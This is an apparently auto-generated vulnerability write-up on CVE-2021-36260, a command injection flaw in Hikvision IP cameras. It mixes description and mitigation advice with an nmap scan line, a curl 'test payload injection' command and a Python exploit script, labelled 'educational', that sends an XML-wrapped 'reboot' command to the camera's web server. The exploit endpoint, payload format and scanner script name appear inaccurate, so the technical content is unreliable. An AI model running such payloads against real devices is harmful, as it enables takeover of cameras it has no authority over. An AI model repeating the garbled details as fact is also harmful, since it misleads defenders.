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CVE-2021-36260 is a critical command injection vulnerability affecting multiple Hikvision IP camera models and network video recorders. The flaw exists within the web server component of the affected devices, specifically in how incoming HTTP requests and web service parameters are parsed and handled. An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted messages containing malicious command sequences to the vulnerable web port. Because the web server process runs with elevated root privileges and fails to properly sanitize or validate user-supplied input before passing it to underlying system functions, the injected shell commands are executed directly by the operating system. This allows attackers to bypass all authentication mechanisms entirely, gain complete administrative control over the affected IoT device, modify system configurations, extract sensitive credentials, or deploy persistent malware such as botnet agents. The vulnerability stems from insecure inter-process communication and weak input validation routines implemented in the device firmware, making network-exposed cameras prime targets for automated exploitation campaigns and widespread cyber attacks across global IoT infrastructures.
DailyCVE Form:
Platform: Hikvision IP Cameras
Version: Older firmware versions
Vulnerability: Command Injection
Severity: Critical Risk
Date: September 2021
Prediction: Patched in 2021
(end of form)
What Undercode Say:
CVE-2021-36260 represents a severe architectural flaw in IoT web interfaces where lack of input sanitization enables unauthenticated remote code execution. Network security monitors tracking IoT devices must inspect HTTP payload headers for anomalous shell metacharacters like semicolons, pipes, and backticks.
Scan target device for vulnerable web service nmap -p 80,443 --script http-vuln-cve2021-36260 <target_ip> Test payload injection via curl curl -k -X PUT https://<target_ip>/SDK/webServer -d '<request><security><command>id</command></security></request>'
Exploit: (Educational Purposes!)
Attackers exploit this vulnerability by targeting the web server interface on port 80 or 443 with an HTTP PUT or POST request containing XML payloads injected with system commands.
import requests
url = "https://target-ip/SDK/webServer"
headers = {"Content-Type": "application/xml"}
payload = "<?xml version='1.0' encoding='UTF-8'?><request><security><command>reboot</command></security></request>"
response = requests.put(url, headers=headers, data=payload, verify=False)
print(response.text)
Protection: from this CVE
Administrators must immediately update the device firmware to the latest manufacturer-released versions where input validation is properly enforced. Additionally, restrict device management interfaces from being directly exposed to the public internet by placing them behind VPNs, firewalls, and isolated VLANs.
Impact:
Successful exploitation grants the attacker full root-level access to the compromised IoT device, allowing complete system takeover, interception of video feeds, data exfiltration, lateral movement within the local network, and incorporation of the device into malicious botnets.
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Sources:
Reported By: github.com
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